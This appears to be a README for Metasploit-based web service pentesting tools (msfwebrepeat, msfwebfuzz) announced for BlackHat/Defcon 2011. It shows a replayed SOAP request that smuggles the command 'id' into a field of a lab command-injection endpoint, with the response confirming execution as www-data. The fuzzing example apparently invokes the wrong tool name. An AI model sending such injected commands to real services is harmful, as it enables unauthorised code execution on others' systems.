
This package contains several tools and libs that will be release at BlackHat / Defcon 2011 in Las Vegas. A good portion of this code is still a work-in-progress, but should be useful for anyone that is planning on pentesting web services.

msfwebrepeat 		tool to replay a specific HTTP request
msfwebfuzz 			tool to fuzz all of the injection locations of an HTTP request
soap.rc				sample usage of several new msf modules that interactive with public web services.


Example of using msfwebrepeat:

$ ./msfwebrepeat -r sample_web_fuzz_files/POST_CMD_ID.txt 

$ ./msfwebrepeat -r sample_web_fuzz_files/POST_CMD_ID.txt 

REQUEST:
POST /webservices/ws-commandinj.php HTTP/1.1
Host: 192.168.200.140
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml;charset=UTF-8
Content-Length: 447
SOAPAction: "urn:commandinjwsdl#commandinj"

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:commandinjwsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:commandinj soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <name xsi:type="xsd:string">id</name>
      </urn:commandinj>
   </soapenv:Body>
</soapenv:Envelope>

RESPONSE:
HTTP/1.1 200 OK
X-Powered-By: PHP/5.0.5-2ubuntu1.2
Content-Type: text/xml; charset=ISO-8859-1
Date: Wed, 27 Jul 2011 22:32:22 GMT
Content-Length: 0
X-SOAP-Server: NuSOAP/0.9.5 (1.123)
Server: Apache/2.0.54 (Ubuntu) PHP/5.0.5-2ubuntu1.2

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:commandinjResponse xmlns:ns1="urn:commandinjwsdl">
      <return xsi:type="xsd:string">uid=33(www-data) gid=33(www-data) groups=33(www-data)</return>
    </ns1:commandinjResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>





Example of using  msfwebfuzz:

$ ./msfwebrepeat -r sample_web_fuzz_files/POST_CMD_FUZZ.txt -f fuzz.txt

